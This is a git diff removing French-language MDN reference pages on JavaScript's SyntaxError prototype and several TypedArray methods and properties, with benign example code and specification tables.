Le chemin du fichier qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}
-
Le numéro de la ligne du fichier qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}
-
Le numéro de la colonne dans la ligne qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}
-
La pile d'appels (stack trace). Propriété héritée depuis {{jsxref("Error")}}.
-
- -

Méthodes

- -

Bien que le prototype de {{jsxref("SyntaxError")}} ne possède pas de méthodes directes, les instances de {{jsxref("SyntaxError")}} héritent de certaines méthodes via la chaîne de prototypes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Définie comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Définie comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Définie comme NativeError.prototype.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.SyntaxError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/@@iterator/index.html deleted file mode 100644 index 1a209ec17d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/@@iterator/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: 'TypedArray.prototype[@@iterator]()' -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/@@iterator -tags: - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator ---- -
{{JSRef}}
- -

La valeur initiale de la propriété @@iterator est le même objet fonction que la valeur initiale de {{jsxref("TypedArray.prototype.values()", "values")}}.

- -

Syntaxe

- -
typedarray[Symbol.iterator]()
- -

Valeur de retour

- -

Une fonction d'itération sur le tableau typé, par défaut, c'est la fonction {{jsxref("TypedArray.prototype.values()","values()")}}.

- -

Exemples

- -

Parcourir un tableau typé avec for...of

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-// prérequis : le navigateur doit supporter les boucles
-// for..of et les variables dont la portée est définie
-// par let
-for (let n of arr) {
-  console.log(n);
-}
-
- -

Autre méthode d'itération

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-var eArr = arr[Symbol.iterator]();
-console.log(eArr.next().value); // 10
-console.log(eArr.next().value); // 20
-console.log(eArr.next().value); // 30
-console.log(eArr.next().value); // 40
-console.log(eArr.next().value); // 50
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}{{Spec2('ES6')}}Définition initiale
{{SpecName('ESDraft', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.@@iterator")}}

- -

Voir aussi

- -
    -
  • Les tableaux typés en JavaScript
    • -
  • {{jsxref("TypedArray")}}
    • -
  • {{jsxref("TypedArray.prototype.entries()")}}
    • -
  • {{jsxref("TypedArray.prototype.keys()")}}
    • -
  • {{jsxref("TypedArray.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/@@species/index.html deleted file mode 100644 index 0cbd8761a6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/@@species/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: 'get TypedArray[@@species]' -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/@@species -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@species ---- -
{{JSRef}}
- -

La propriété d'accesseur TypedArray[@@species] renvoie le constructeur du tableau typé.

- -

Syntaxe

- -
TypedArray[Symbol.species]
-
-où TypedArray vaut :
-
-Int8Array
-Uint8Array
-Uint8ClampedArray
-Int16Array
-Uint16Array
-Int32Array
-Uint32Array
-Float32Array
-Float64Array
-
- -

Description

- -

L'accesseur species renvoie le constructeur par défaut pour les tableaux typés. Les constructeurs des sous-classes peuvent surcharger ce symbole pour modifier l'affectation du constructeur.

- -

Exemples

- -

La propriété species renvoie le constructeur par défaut qui est l'un des constructeurs de tableau typé (selon le type de tableau typé de l'objet) :

- -
Int8Array[Symbol.species];    // function Int8Array()
-Uint8Array[Symbol.species];   // function Uint8Array()
-Float32Array[Symbol.species]; // function Float32Array()
-
- -

Pour un objet construit sur mesure (par exemple une tableau MonTableauTypé), le symbole species de MonTableauTypé sera le constructeur MonTableauTypé. Mais on peut vouloir surcharger ce comportement pour renvoyer le constructeur du type parent :

- -
class MonTableauTypé extends Uint8Array {
-  // On surcharge species pour MonTableauTypé
-  // pour récupérer le constructeur Uint8Array
-  static get [Symbol.species]() { return Uint8Array; }
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.@@species")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray")}}
    • -
  • {{jsxref("Symbol.species")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/buffer/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/buffer/index.html deleted file mode 100644 index a38c0c8d0e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/buffer/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: TypedArray.prototype.buffer -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/buffer -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer ---- -
{{JSRef}}
- -

La propriété buffer est un accesseur représentant l'{{jsxref("ArrayBuffer")}} représenté par le TypedArray lors de la construction de l'objet.

- -
{{EmbedInteractiveExample("pages/js/typedarray-buffer.html")}}
- - - -

Syntaxe

- -
typedArray.buffer
- -

Description

- -

La propriété buffer est un accesseur dont le mutateur correspondant vaut undefined. Cela signifie que cette propriété n'est accessible qu'en lecture seule. La valeur de la propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. TypedArray est un des objets TypedArray.

- -

Exemples

- -
var buffer = new ArrayBuffer(8);
-var uint16 = new Uint16Array(buffer);
-uint16.buffer; // ArrayBuffer { byteLength: 8 }
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.buffer")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/bytelength/index.html deleted file mode 100644 index b48d71dec5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/bytelength/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: TypedArray.prototype.byteLength -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/byteLength -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength ---- -
{{JSRef}}
- -

La propriété byteLength est un accesseur qui représente la longueur, exprimée en octets, du tableau typé à partir du début de l'{{jsxref("ArrayBuffer")}} correspondant.

- -
{{EmbedInteractiveExample("pages/js/typedarray-bytelength.html")}}
- - - -

Syntaxe

- -
typedarray.byteLength
- -

Description

- -

La propriété byteLength est un accesseur dont le mutateur correspondant vaut undefined, ce qui signifie qu'elle n'est accessible qu'en lecture. La valeur de la propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. Si l'objet TypedArray n'utilise pas de byteOffset ou une length, ce sera la propriété length de l'ArrayBuffer référencé par le tableau qui sera renvoyée. TypedArray est l'un des objets TypedArray.

- -

Exemples

- -
var tampon = new ArrayBuffer(8);
-
-var uint8 = new Uint8Array(tampon);
-uint8.byteLength; // 8 (correspond au byteLength du tampon correspondant)
-
-var uint8 = new Uint8Array(tampon, 1, 5);
-uint8.byteLength; // 5 (correspond à la longueur spécifiée dans le constructeur)
-
-var uint8 = new Uint8Array(tampon, 2);
-uint8.byteLength; // 6 (en raison du décalage utilisé pour la construction du Uint8Array)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.byteLength")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/byteoffset/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/byteoffset/index.html deleted file mode 100644 index 8ede8e1fff..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/byteoffset/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: TypedArray.prototype.byteOffset -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/byteOffset -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset ---- -
{{JSRef}}
- -

La propriété byteOffset est un accesseur qui représente le décalage, exprimé en octets, entre le début du tableau typé par rapport au début du {{jsxref("ArrayBuffer")}} correspondant.

- -

Syntaxe

- -
typedarray.byteOffset
- -

Description

- -

La propriété byteOffset est un accesseur dont le mutateur correspondant vaut undefined, ce qui signifie qu'elle n'est accessible qu'en lecture seule. La valeur de cette propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. TypedArray est l'un des objets TypedArray.

- -

Exemples

- -
var tampon = new ArrayBuffer(8);
-
-var uint8 = new Uint8Array(tampon);
-uint8.byteOffset; // 0 (aucun décalage n'a été défini)
-
-var uint8 = new Uint8Array(tampon, 3);
-uint8.byteOffset; // 3 (correspond au décalage défini lors de la construction du Uint8Array)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.byteOffset")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/bytes_per_element/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/bytes_per_element/index.html deleted file mode 100644 index 948b4bb412..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/bytes_per_element/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: TypedArray.BYTES_PER_ELEMENT -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/BYTES_PER_ELEMENT -tags: - - JavaScript - - Propriété - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT ---- -
{{JSRef}}
- -

La propriété TypedArray.BYTES_PER_ELEMENT représente la taille, exprimée en octets, de chaque élément du tableau typé.

- -
{{EmbedInteractiveExample("pages/js/typedarray-bytes-per-element.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Syntaxe

- -
TypedArray.BYTES_PER_ELEMENT;
- -

Description

- -

La taille des éléments d'un tableau typé varie en fonction du type de TypedArray utilisé. Le nombre d'octets utilisé pour un élément sera différent en fonction du type de tableau. La propriété BYTES_PER_ELEMENT permet de savoir le nombre d'octets contenus dans chaque élément du tableau typé courant.

- -

Exemples

- -
Int8Array.BYTES_PER_ELEMENT;         // 1
-Uint8Array.BYTES_PER_ELEMENT;        // 1
-Uint8ClampedArray.BYTES_PER_ELEMENT; // 1
-Int16Array.BYTES_PER_ELEMENT;        // 2
-Uint16Array.BYTES_PER_ELEMENT;       // 2
-Int32Array.BYTES_PER_ELEMENT;        // 4
-Uint32Array.BYTES_PER_ELEMENT;       // 4
-Float32Array.BYTES_PER_ELEMENT;      // 4
-Float64Array.BYTES_PER_ELEMENT;      // 8
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Spécification englobée par ECMAScript 6.
{{SpecName('ES6', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.BYTES_PER_ELEMENT")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/copywithin/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/copywithin/index.html deleted file mode 100644 index 3cc0a22542..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/copywithin/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: TypedArray.prototype.copyWithin() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/copyWithin -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/copyWithin ---- -
{{JSRef}}
- -

La méthode copyWithin() permet de copier des éléments d'un tableau dans le tableau typé à partir de la position cible. Les éléments copiés sont ceux contenus entre les index début et fin. L'argument fin est optionnel, sa valeur par défaut correspondra à la longueur du tableau dont on souhaite copier les éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.copyWithin")}}. TypedArray est l'un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-copywithin.html")}}
- - - -

Syntaxe

- -
typedarray.copyWithin(cible, début[, fin = this.length])
- -

Paramètres

- -
-
cible
-
La position, dans le tableau typé, à partir de laquelle on souhaite copier les éléments.
-
début
-
La position du tableau contenant les éléments à copier à partir de laquelle copier les éléments.
-
fin {{optional_inline}}
-
Paramètre optionnel. La position jusqu'à laquelle prendre les éléments à copier.
-
- -

Valeur de retour

- -

Le tableau typé, modifié par la fonction.

- -

Description

- -

Voir la page {{jsxref("Array.prototype.copyWithin")}} pour plus d'informations.

- -

Cette méthode remplace la méthode expérimentale {{jsxref("TypedArray.prototype.move()")}}.

- -

Exemples

- -
var buffer = new ArrayBuffer(8);
-var uint8 = new Uint8Array(buffer);
-uint8.set([1,2,3]);
-console.log(uint8); // Uint8Array [ 1, 2, 3, 0, 0, 0, 0, 0 ]
-uint8.copyWithin(3,0,3);
-console.log(uint8); // Uint8Array [ 1, 2, 3, 1, 2, 3, 0, 0 ]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.copyWithin")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/entries/index.html deleted file mode 100644 index 14891965ba..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/entries/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: TypedArray.prototype.entries() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/entries -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/entries ---- -
{{JSRef}}
- -

La méthode entries() renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau.

- -
{{EmbedInteractiveExample("pages/js/typedarray-entries.html")}}
- - - -

Syntaxe

- -
arr.entries()
- -

Valeur de retour

- -

Un nouvel objet Array Iterator.

- -

Exemples

- -

Parcourir un tableau avec une boucle for...of

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-var eArray = arr.entries();
-// prérequis nécessaire : le navigateur doit
-// supporter les boucles for..of
-// et les variables dont la portée est définie par let
-for (let n of eArray) {
-  console.log(n);
-}
-
- -

Une autre méthode d'itération

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-var eArr = arr.entries();
-console.log(eArr.next().value); // [0, 10]
-console.log(eArr.next().value); // [1, 20]
-console.log(eArr.next().value); // [2, 30]
-console.log(eArr.next().value); // [3, 40]
-console.log(eArr.next().value); // [4, 50]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.entries', '%TypedArray%.prototype.entries()')}}{{Spec2('ES2015')}} -

Définition initiale.

-
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.entries', '%TypedArray%.prototype.entries()')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.entries")}}

- -

Voir aussi

- -
    -
  • Les tableaux typés en JavaScript
    • -
  • {{jsxref("TypedArray")}}
    • -
  • {{jsxref("TypedArray.prototype.keys()")}}
    • -
  • {{jsxref("TypedArray.prototype.values()")}}
    • -
  • {{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/every/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/every/index.html deleted file mode 100644 index 479490d910..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/every/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: TypedArray.prototype.every() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/every -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/every ---- -
{{JSRef}}
- -

La méthode every() teste si tous les éléments du tableau typé satisfont une condition implémentée par la fonction de test fournie. Cette méthode utilise le même algorithme {{jsxref("Array.prototype.every()")}}. Pour le reste de cet article, TypedArray correspond à un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-every.html")}}
- - - -

Syntaxe

- -
typedarray.every(callback[, thisArg])>
- -

Paramètres

- -
-
callback
-
La fonction utilisée pour tester chaque élément du tableau. Elle utilise trois arguments : -
-
valeurCourante
-
L'élément du tableau typé qui est en cours de traitement.
-
index
-
L'indice de l'élément du tableau typé en cours de traitement.
-
array
-
Le tableau typé sur lequel on a appelé la méthode every.
-
-
-
thisArg
-
Paramètre optionnel, la valeur à utiliser en tant que this lors de l'exécution de callback.
-
- -

Valeur de retour

- -

true si la fonction de rappel obtient une valeur équivalente à vrai (truthy) pour chaque élément du tableau typé, false sinon.

- -

Description

- -

La méthode every exécute la fonction callback fournie pour chaque élément du tableau typé jusqu'à ce que callback renvoie une valeur fausse (une valeur qui vaut false lorsqu'elle est convertie en un booléen). Si un tel élément est trouvé, la méthode every renvoie immédiatement false. Dans le cas contraire, si callback renvoie une valeur vraie pour tous les éléments, la méthode every renverra true.

- -

callback est appelé avec trois arguments : la valeur de l'élément, l'indice de cet élément et le tableau qui est parcouru.

- -

Si le paramètre thisArg est utilisé, il sera passé à la fonction callback en tant que valeur this. Sinon, la valeur undefined sera utilisée comme valeur this. La valeur this définitivement prise en compte par la fonction callback est déterminée selon les règles usuelles de détermination de this.

- -

every ne modifie pas le tableau typé sur lequel elle a été appelée.

- -

Exemples

- -

Tester la taille des éléments d'un tableau typé

- -

Dans l'exemple suivant, on teste si tous les éléments du tableau typé sont supérieurs à 10 :

- -
function estGrand(element, index, array) {
-  return element >= 10;
-}
-new Uint8Array([12, 5, 8, 130, 44]).every(estGrand);   // false
-new Uint8Array([12, 54, 18, 130, 44]).every(estGrand); // true
- -

Tester les éléments d'un tableau typé avec les fonctions fléchées

- -

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour parvenir au même résultat :

- -
new Uint8Array([12, 5, 8, 130, 44]).every(elem => elem >= 10); // false
-new Uint8Array([12, 54, 18, 130, 44]).every(elem => elem >= 10); // true
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.every")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.some()")}}
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/fill/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/fill/index.html deleted file mode 100644 index 23b108a69f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/fill/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: TypedArray.prototype.fill() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/fill -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/fill ---- -
{{JSRef}}
- -

La méthode fill() remplit les éléments d'un tableau typé contenu entre un indice de début et un indice de fin avec une valeur statique. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.fill()")}}. Dans le reste de cet article, TypedArray correspond à l'un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-fill.html")}}
- - - -

Syntaxe

- -
typedarray.fill(valeur[, début = 0[, fin = this.length]])
- -

Paramètres

- -
-
valeur
-
La valeur avec laquelle on souhaite remplir le tableau.
-
début
-
Paramètre optionnel qui représente l'indice à partir duquel remplir le tableau. La valeur par défaut est 0.
-
fin
-
Paramètre optionnel qui représente l'indice jusqu'auquel remplir le tableau. La valeur par défaut est la longueur du tableau (this.length).
-
- -

Valeur de retour

- -

Le tableau typé, modifié par la fonction.

- -

Description

- -

L'intervalle d'éléments à modifier est [début, fin).

- -

La méthode fill utilise jusqu'à trois arguments : valeur, début et fin. début et fin sont optionnels, leurs valeurs par défaut respectives sont 0 et la valeur de la propriété length de l'objet this.

- -

Si début est négatif, on le traite comme length+début où length représente la longueur du tableau. Si fin est négative, on le traite comme length+fin.

- -

Exemples

- -
new Uint8Array([1, 2, 3]).fill(4);         // Uint8Array [4, 4, 4]
-new Uint8Array([1, 2, 3]).fill(4, 1);      // Uint8Array [1, 4, 4]
-new Uint8Array([1, 2, 3]).fill(4, 1, 2);   // Uint8Array [1, 4, 3]
-new Uint8Array([1, 2, 3]).fill(4, 1, 1);   // Uint8Array [1, 2, 3]
-new Uint8Array([1, 2, 3]).fill(4, -3, -2); // Uint8Array [4, 2, 3]
-
- -

Prothèse d'émulation (polyfill)

- -

Il n'existe pas d'objet global avec le nom TypedArray, la prothèse doit donc être appliquée uniquement si nécessaire, aussi {{jsxref("Array.prototype.fill()")}} pourra éventuellement être utilisé (voire la prothèse de cette dernière).

- -
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.fill
-if (!Uint8Array.prototype.fill) {
-  Uint8Array.prototype.fill = Array.prototype.fill;
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.fill")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.fill()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/filter/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/filter/index.html deleted file mode 100644 index fadb8339cd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/filter/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: TypedArray.prototype.filter() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/filter -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/filter ---- -
{{JSRef}}
- -

La méthode filter() crée un nouveau tableau qui contient l'ensemble des éléments qui remplissent une condition fournie par la fonction de test passée en argument. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.filter()")}}. TypedArray est utilisé ici de façon générique pour représenter l'un des types de tableaux typés possibles.

- -
{{EmbedInteractiveExample("pages/js/typedarray-filter.html")}}
- - - -

Syntaxe

- -
typedarray.filter(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
Une fonction qui est utilisée pour tester chacun des éléments du tableau typé. Cette fonction est appelée avec trois arguments (élément, index, tableautypé). La fonction renvoie true si on souhaite conserver l'élément, false sinon.
-
thisArg {{optional_inline}}
-
La valeur à utiliser pour this lors de l'appel à callback.
-
- -

Valeur de retour

- -

Un nouveau tableau typé contenant les éléments qui remplissent la condition donnée par la fonction de rappel.

- -

Description

- -

La méthode filter() appelle une fonction callback appelée une fois pour chaque élément du tableau typé. Elle construit un nouveau tableau typé constitué des valeurs du tableau original pour lesquelles callback a renvoyé true. callback est appelée uniquement pour les éléments du tableau auxquels on a affecté une valeur, elle n'est pas appelé pour les éléments supprimés ou ceux qui n'ont jamais reçu de valeurs. Les éléments du tableau typé qui ne passent pas le test de la fonction ne sont pas inclus dans le nouveau tableau typé.

- -

callback est appelée avec trois arguments :

- -
    -
  1. la valeur de l'élément
    2. -
  2. l'indice de l'élément
    3. -
  3. le tableau typé courant
    4. -
- -

Si le paramètre thisArg est fourni, il sera utilisé comme objet this lors de l'appel de la fonction callback. Sinon, la valeur undefined sera utilisée à la place. Par ailleurs, la valeur de this accessible depuis la fonction callback est déterminée selon les règles usuelles déterminant la valeur this au sein d'une fonction.

- -

filter() ne modifie pas le tableau typé sur lequel elle a été appelée.

- -

La liste des éléments parcourus par filter() est définie avant la première invocation de la fonction callback. Les éléments qui sont ajoutés au tableau typé après le début de l'appel de filter() (grâce à la fonction callback par exemple) ne seront pas visités. Si des éléments existants du tableau typé ont modifiés ou supprimés, la valeur fournie à la fonction callback sera leur valeur au moment où filter() les visite - les éléments supprimés ne seront pas traités par la fonction.

- -

Exemples

- -

Filtrer les valeurs inférieures à un seuil

- -

Dans l'exemple qui suit, on utilise filter() pour créer un nouveau tableau typé qui contient uniquement les éléments supérieurs à 10.

- -
function supSeuil(élément, indice, tableauTypé) {
-  return élément >= 10;
-}
-new Uint8Array([12, 5, 8, 130, 44]).filter(supSeuil);
-// Uint8Array [ 12, 130, 44 ]
-
- -

Filtrer les éléments d'un tableau typé avec les fonctions fléchées

- -

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour réaliser le même test que montré précédemment :

- -
new Uint8Array([12, 5, 8, 130, 44]).filter(élém => élém >= 10);
-// Uint8Array [ 12, 130, 44 ]
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.filter")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.every()")}}
    • -
